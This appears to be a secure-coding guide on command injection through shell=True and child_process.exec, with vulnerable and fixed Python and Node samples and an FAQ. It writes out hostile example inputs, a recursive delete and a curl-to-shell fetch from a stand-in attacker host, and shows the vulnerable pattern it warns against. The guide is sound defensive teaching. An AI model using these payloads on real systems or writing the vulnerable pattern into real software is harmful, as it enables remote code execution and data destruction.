When user input reaches a shell, through subprocess with shell=True in Python or child_process.exec in Node, shell metacharacters in that input are interpreted as commands. An attacker can chain their own commands onto yours. The fix is to pass arguments as an array so no shell parses them.
Why it's a problem
Command injection is typically full remote code execution. Input like ; rm -rf / or $(curl attacker.sh | sh) runs with your server's privileges. Because the feature still works for benign input, the hole stays open until someone sends a payload.
The pattern
# Python — the shell interprets metacharacters in `name`
subprocess.run(f"convert {name}.png out.png", shell=True)
// Node — same problem
child_process.exec("convert " + name + ".png out.png");The fix
# Python — arguments as a list, no shell
subprocess.run(["convert", f"{name}.png", "out.png"])
// Node — execFile with an argument array
child_process.execFile("convert", [name + ".png", "out.png"]);Why AI tools write this
Building the command as one interpolated string is the shortest way to express 'run this tool on this file,' so an assistant wiring up an image or file operation tends to reach for shell=True or exec with a concatenated string. It runs correctly in a demo, and the shell only becomes a weapon once the input is attacker-controlled.
The quick fix
- Pass command arguments as an array and avoid the shell (execFile, or subprocess with a list and no shell=True).
- If you truly need a shell, validate and escape every piece of user input first.
- Prefer a library binding over shelling out to an external command when one exists.
Common questions
What if I need a shell command that uses pipes or shell features?
Use execFile with a minimal shell wrapper only when genuinely needed, and validate every piece of user input against a strict allowlist first. Most pipe operations can be replicated in code without invoking a shell.
Is child_process.spawn safer than exec?
Yes. spawn does not invoke a shell by default, which means no shell metacharacter interpretation. Pass the command and arguments as separate array elements.
Can template literals in a command string be safe if I validate the input?
They can be made safer with strict allowlist validation, but passing an argument array with no shell is fundamentally safer because it removes the shell parsing layer entirely.